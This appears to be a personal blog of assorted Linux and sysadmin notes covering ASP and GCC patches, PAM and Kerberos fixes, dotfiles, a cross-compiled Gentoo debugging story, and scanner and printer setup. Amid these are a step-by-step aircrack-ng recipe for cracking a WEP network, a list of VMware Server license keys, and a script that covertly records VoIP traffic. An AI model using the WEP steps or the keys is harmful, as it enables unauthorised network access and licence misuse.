WordPress API URL for Scirbus
http://blog.3fire.org/xmlrpc.php
Apache ASP support
After installed apache-asp-perl, need to patch /usr/share/perl5/Apache/ASP.pm
The lines 65-71:
if($ENV{MOD_PERL}) {
$ModPerl2 = ($mod_perl::VERSION >= 1.99);
if($ModPerl2) {
eval “use Apache::ASP::ApacheCommon ();”;
die($@) if $@;
}
}
become
if($ENV{MOD_PERL}) {
$ModPerl2 = ($mod_perl::VERSION >= 1.99);
my $ver = $mod_perl::VERSION;
if ($ver eq “”) { $ver = $ENV{MOD_PERL_API_VERSION}; }
$ModPerl2 = ($ver >= 1.99);
if($ModPerl2) {
eval “use Apache::ASP::ApacheCommon ();”;
die($@) if $@;
}
}
WiFi Direct Application
It should be a good opportunity.
收费定制开发
产品的功能上，很多冲突的、可加可不加的、锦上添花功能，都不要放到基本功能里面，一个是给自己制造困境，另一个，这些功能都可以作为以后和别人谈合作定制开发收费的砝码。
例子
Data De-duplication
NFS, NFSv4
FTP
iSCSI
AFS(Apple)
Time Capsule(Apple)
Media Server
S.M.A.R.T. monitoring + email notification
HDD power management (APM/AAM)
SNMP (v1/2c/3) (read-only)
Print Server
PXE boot, server
Thin Provisioning(?)
BT/eMule
基本功能
RAID-z
Snapshot/Roll back, time machine
Scrub, make sure your data is correct(need stats)
Full text search(need story)
DragonFly, hammerfs is also interesting for custom development.
创业模式难题
什么样的模式应该是现在的努力目标
1、自己干点小生意——不好找到合适的
2、big idea, big money——等灵感吧
3、做代理，真的可行么？不光需要技术，钱、关系也是需要大把的，这个我没有。
其实还是那个题，怎么样解决鸡和蛋蛋和鸡的问题。
______________________________________________________________
比如做众多山寨货之一，不知到是否现实，但总之成了也会很辛苦。苹果的模式（技术、创意优先）——中国还没人复制出来过。
做个人开发者有前途么？
比如想点idea写些iPhone/Android Apps
一时也想不明白，倒是有专做iPhone App的公司，前几天刚IPO，不过小儿科，5分钱一股，总共2.7M股，胡扯一样。
Mac Mini TV resolution
Section "Monitor" Identifier "TV" Modeline "1366x768" 72.30 1366 1376 1380 1528 768 769 773 789 -hsync -vsync EndSection Section "Screen" Identifier "Default Screen" Monitor "TV" Defaultdepth 24 SubSection "Display" Depth 24 Modes "1366x768" EndSubSection EndSection
Crack WEP
1. airmon-ng start wlan0
2. airodump-ng mon0, pick a target that has good power and has clients associated to it.
3. airodump-ng -c
4. aireplay-ng –fakeauth 0 -e “ESSID” -a AP:MA:CA:DD:RE:SS -h CL:IE:NT:MA:CA:DS mon0
5. aireplay-ng –arpreplay -b AP:MA:CA:DD:RE:SS -h CL:IE:NT:MA:CA:DS mon0
6. at the same time as step 5, airodump-ng -c 11 –bssid AP:MA:CA:DD:RE:SS -w dump
7. aircrack-ng -a 1 -f 10 dump*.cap
安装Brother MFC-7820N
run /usr/local/Brother/cupswrapper. Be noted about the path of the filter. /usr/lib vs /usr/libexec
link to a tutorial of installing samba printer.
Vmware-server authentication failure
/etc/pam.d/vmware-authd
#%PAM-1.0
#auth required pam_unix.so shadow nullok
#account required pam_listfile.so item=group sense=allow file=/etc/vmware/vmwaregroup onerr=fail
#account required pam_unix.so
auth sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so shadow nullok
auth required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_auth.so shadow nullok
account sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so
account required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_acct.so
VMWare-Server-Console problem
1. Can’t connect, check /etc/xinetd.conf. New version has only_from option.
2. username/password incorrect. Edit /etc/pam.d/vmware-authd
auth sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so shadow nullok
auth required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_auth.so shadow nullok
account sufficient /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix.so
account required /opt/vmware/server/lib/lib/libpam.so.0/security/pam_unix_acct.so
kadmin: Cannot contact any KDC for requested realm while initializing kadmin interface
Loopback address is not able to do kdc resolution, a mapping from
*REAL* ip address to the full qualified hostname is required to get
kadmin and kinit work. Please see below:
======================old /etc/hosts ===========================
127.0.0.1 mykdc.krb.com localhost.localdomain localhost mykdc
======================new /etc/hosts ===========================
10.195.3.99 mykdc.krb.com
127.0.0.1 localhost.localdomain localhost mykdc
VMWare Server License, Linux
92MW0-YHQAY-220CQ-432LM
924P0-YK2AU-2A59P-49LU5
98JYH-YR6AY-2AM96-49PU8
92NY0-YUK2Y-280CP-4HN21
98NMH-YKK0Y-28M3P-4CPVT
MYHVT-WQ49M-QRPVF-V86FC-P3R8Y
Securing NFS
http://www.freesoftwaremagazine.com/columns/securing_nfs
Disable LDAP Auth
/usr/sbin/authconfig*
LDAP installation trick #1
chown ldap:ldap -R /var/lib/openldap-data
Iphone RingTone Script
#!/bin/bash mplayer -ss $1 -endpos 60 -ao pcm $2 -ao pcm:file="~temp.wav" faac ~temp.wav -o "${3}.m4r" -w
Xsane – Remote Scanner
Xsane设置很简单，需要注意的是xinetd的设置，缺省在/etc/xinetd.conf中是only_from localhost
Record VOIP
Put a scrip in your /etc/cron.hourly/
#!/bin/bash
killall -9 tcpdump
tcpdump host VOIP_ADAPTOR -s 350 -w /a/secret/path/`date +%F-%H`.dump &
Then open the dump file with wireshark. Right click on one of the RTP packets (might be shown just as UDP) and select “decode as”. Click RTP. Then menu->statistics->RTP->Stream Analysis…, then Save payload.
You are done, the saved file could be played by mplayer.
花了老子6、7个小时，终于搞明白了一个莫名其妙的seg fault
具体过程如下
偶cross compile了一个Gentoo for Cavium Octeon，这是个64bit MIPS结果呢死活起不来。折腾了好久，发现/sbin/init都不运行，开始怀疑glibc的问题，先是把/lib/libc.so.6 copy 成/sbin/init，发现kernel能运行这个家伙打印出东西看来glibc好像没问题，接着试了什么/bin/bash拉，/bin/ls拉，都不行
然后开始想别的办法，偶手里有个32bit的WindRiver PNE Linux，起来试图chroot到偶的系统，永远seg fualt，偶想也许是32/64 bit的问题，放弃
偶手里还有一个Cavium的64bit的Linux，起来试图chroot，竟然还是seg fault，偶要处理愤怒了，后来一想可能也有道理，这个版本glibc是2.3，偶的是2.4，chroot应该是不重新load glibc的，busybox的pivot_root还不好使，偶狠了狠心把这个Cavium的Linux花俩小时重新编了一编，这下glibc版本也一样了
结果很令人失望，还是不行。偶不甘心那，于是准备撇开Gentoo的sysvinit先，换上busybox，结果发现如果偶用static link的busybox就能起来，但是起来之后所有的动带链接的东东除了/lib/libc.so.6都seg fault。
偶彻底FT了，折腾来折腾去，也不知道哪根筋触发了偶的灵感，拿LD_LIBRARY_PATH玩了玩，发现偶如果设置了LD_LIBRARY_PATH所有的程序都能运行了，那叫一个高兴，但是仍然很迷惑，偶所有的lib都在/lib64, /usr/lib64里面，为了排出意外偶还copy了一份同样的放到/lib和/usr/lib里面，按理说怎么会找不到呢。百思不得其解
至此已经在公司搞了6、7个小时了，于是回家，准备围绕LD_LIBRARY_PATH继续研究，偶又忘了是怎么研究到ldconfig上了，终于发现，原来偶cross compile的系统下面/etc/ld.so.cache里面空空如也，靠，估计这就是毛病了，等周一上班就能确认了，不过这个东西够恶心，如果偶要是没有一个能用的系统，想生生的就全靠crosscompilebootstrap还听麻烦，需要先用static link busybox起来，进去转一下ldconfig更新cache。
xsane multipage scanning
Use xsane, choose number of page, increase count and file type tiff.
#!/bin/bash #echo ${@/%log/tiff} for x in $@ do if [ ${x%.tiff} = $x ] then echo not tiff file exit fi tiff2pdf -p letter -j $x > ${x%tiff}pdf done rm tmp.pdf finished.pdf -rf gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=tmp.pdf ${@/%tiff/pdf} pdfopt tmp.pdf finished.pdf rm ${@/%tiff/pdf} tmp.pdf -rf
MIPS64 64 bit ABI
GLIBC:
Change multilib.eclass line 596 from:
export DEFAULT_ABI=”n32″
to
export DEFAULT_ABI=”n64″
GCC:
Delete toolchain.eclass line 1159, and change line 1158 to:
mips_abi=”–with-abi=64″
Deal Related
http://e.staples-deals.com/staplescoupon/default.asp?a=62%40&e=3193509%D7&c=5941088676467240&g=ldxyqy%E3&t=u%A8&cm
Latex
[tex] e^{i \pi} = -1 [/tex]
[tex]\displaystyle \int_{0}^{1}\frac{x^{4}\left( 1-x\right) ^{4}}{1+x^{2}}dx=\frac{22}{7}-\pi[/tex]
Nissan
买书 & 下载
The Art and Science of C
Programming Abstractions in C：A Second Course in Computer
西安信æ¯èµ„æºç½‘
combine pdf files
gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=finished.pdf file1.pdf file2.pdf
VOIP tricks
Unlock DTA-310 from Packet8
Link
Broadvoice register servers
proxy.dca.broadvoice.com 147.135.0.128
proxy.nyc.broadvoice.com 147.135.20.128
proxy.lax.broadvoice.com 147.135.8.128:
Windows Client connect to CUPS server
You can use the CUPS server via Windows by defining the server queues as network printers. The specific steps for doing this in Windows XP are listed below; the steps in other versions of Windows are similar. You can see the CUPS print queues at http://your.cups.server:631/
Patch firefox for GCC 4 on AMD64
--- configure.orig 2005-10-04 00:26:14.140044750 -0400
+++ configure 2005-10-04 00:26:34.325306250 -0400
@@ -7581,7 +7581,7 @@
fi
-if test "$GNU_CC"; then
+if /bin/false; then
echo $ac_n "checking for visibility(hidden) attribute""... $ac_c" 1>&6
echo "configure:7587: checking for visibility(hidden) attribute" >&5
if eval "test "`echo '$''{'ac_cv_visibility_hidden'+set}'`" = set"; then
--- ./config/gcc_hidden.h.orig 2005-10-04 00:32:04.341931000 -0400
+++ ./config/gcc_hidden.h 2005-10-04 00:32:24.479189500 -0400
@@ -1,2 +1,2 @@
-/* Begin all files as hidden visibility */
-#pragma GCC visibility push(hidden)
+/* Begin all files as hidden visibility
+#pragma GCC visibility push(hidden)*/
Let konsole button show your current path
if test "$DISPLAY" ; then
export PROMPT_COMMAND='echo -ne "\033]30;`echo $PWD | sed -e "s/^.*\(.\{20\}\)$/\1/"`\007\033]31;$PWD\007"'
fi
fix GCC 4 ebuild
file /var/tmp/portage/gcc-4.0.2/work/gcc-4.0.2/libjava/configure line 7986, add one line
enable_gtk_cairo=yes
incase gtk_cairo still not working for gcc
PANGOFT2_CFLAGS=`pkg-config --cflags "pangoft2"`
PANGOFT2_LIBS=`pkg-config --libs "pangoft2"`
my .bashrc
#!/bin/bash source /etc/profile if [ -n "$COLORTERM" ]&&[ "$COLORTERM"="rxvt-xpm" ] then TITLEBAR='\[\033]0;Rxvt@pty\l \u@\h:\w\007\]' elif [ -n "$KONSOLE_DCOP" ] then TITLEBAR='\[\033]0;Konsole@pty\l \u@\h:\w\007\]' else TITLEBAR='\[\033]0;xterm@pty\l \u@\h:\w\007\]' fi if [ "$TERM" = 'xterm' ]||[ "$TERM" = 'screen' ] then export PS1=$TITLEBAR'\[\033[01;32m\]\u@\h \[\033[01;34m\]\W \$ \[\033[00m\]' fi alias root='ssh $HOSTNAME -l root -X' alias mit='~/.bin/mit.tcl bbs.mit.edu' alias school='ssh -Y chinese.ccs.neu.edu' alias power='ssh ppclinux.pku.edu.cn -p 2000' alias emacs='env LC_CTYPE=C emacs' alias poweroff='/sbin/poweroff' alias reboot='/sbin/reboot' alias ssh='ssh -Y' alias indent='indent -bli0 -i4 -ts4 -cli4 -cbi0' alias v='vim' export LC_CTYPE=zh_CN export HISTFILESIZE=3000 export XMODIFIERS=@im=SCIM export QT_IM_MODULE=SCIM export GTK_IM_MODULE=SCIM export __GL_FSAA_MODE=2
reverse dependency
Keep an eye on portage 2.1. It may have this feature then.
my .vimrc
map <space> <c -F> map <backspace> <c -B> map ; $ set showmatch set laststatus=2 set smartindent set shiftwidth=4 set softtabstop=4 colorscheme aqua set lbr set ruler set tags+=/usr/src/linux/tags ab #i #include ab #d #define ab #W Wenqiang Song syntax on filetype plugin indent on set backspace=indent,eol,start set showcmd vnoremap p <esc>:let current_reg = @"<cr>gvs<c -R>=current_reg<cr><esc> let g:miniBufExplMapWindowNavVim = 1 let g:miniBufExplMapWindowNavArrows = 1 let g:miniBufExplMapCTabSwitchBuffs = 1 set statusline=%< %f%h%m%r%=%{&ff}\ %l,%c%V\ %P highlight Comment ctermfg=6 </code> </esc></cr></c></cr></esc></c></backspace></c></space>
a good screenrc
term xterm-color
defflow off
vbell off
autodetach on
startup_message off
shell -$SHELL
defscrollback 5000
bind k
bind ^k
bind .
bind ^\
bind \
bind ^h
bind h
bind 'K' kill
bind 'I' login on
bind 'O' login off
bind '}' history
bind '}' history
#hardstatus alwaysignore
#hardstatus alwayslastline
# turn sending of screen messages to hardstatus off
hardstatus on
# Set the hardstatus prop on gui terms to set the titlebar/icon title
termcapinfo xterm*|rxvt*|kterm*|Eterm* hs:ts=\E]0;:fs=\007:ds=\E]0;\007
# use this for the hard status string
hardstatus string "[%n%?: %t%?] %h"
Patch Gallery2 to work with PHP5/WordPress
Because WordPress asks to change php session mode to users, that causes gallery2 stop working.
Add two line to .htaccess in G2 main dir solves this problem.
php_value session.save_handler "files"
php_value session.save_path /tmp
Misc TIPS
æ›´æ–°FirefoxåŽï¼Œåº”该编辑å¯åŠ¨è„šæœ¬/usr/bin/firefoxï¼ŒåŠ ä¸Šä¸€å¥ï¼š
export GTK_IM_MODULE=scim
æ¤å¤„scimå°å†™ã€‚
update drupal, edit update.php, turn off $access_check
When update awstats, GeoIP may stop working. Check file /usr/share/webapps/awstats/6.5/hostroot/cgi-bin/plugins/geoip.pm and change GeoIP.dat to absolute path.
FreeNX
1. nxnode, $ENABLE_ROOTLESS_MODE, comment out line 194
Compiler/libc problem
fix_libtool_files.sh might help.
ReiserFS undelete/data recovery HOWTO
USB扫æ仪问题work around
echo Y > /sys/module/usbcore/parameters/old_scheme_first
Patch QTerm
Change NULL to QCString(“”);
Earn up to 12,000 WorldPerks Miles plus loyalty miles with T-Mobile
Patch comments.php for plugin Browser Sniff
insert
< ?php pri_print_browser("Using ", "", true, 'on'); ?>
before
< ?php edit_comment_link('edit','',''); ?>
G2 Modules/themes
Google MAP
Patch firefox on 64bit system
/*This line is just comment*/ #define NS_FT2_OFFSET(f) (long int)&((nsFreeType2*)0)->f
This is for CodeHighlighter
[code lang="cpp"]
/*This line is just comment*/
#define NS_FT2_OFFSET(f) (long int)&((nsFreeType2*)0)->f
[/code]
Patch comment-functions.php
line 97 from
[code lang="php"]
[/code]
to
[code lang="php"]
[/code]
test 1
emerge kmag mysql-query-browser app-editors/gphpedit mysql-administrator mono
/*This line is just comment*/
#define NS_FT2_OFFSET(f) (long int)&((nsFreeType2*)0)->f
test 2
if __name__ == '__main__':
print "Hello Word"
Hello world!
Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!
- 0
Unique
VisitorsPowered By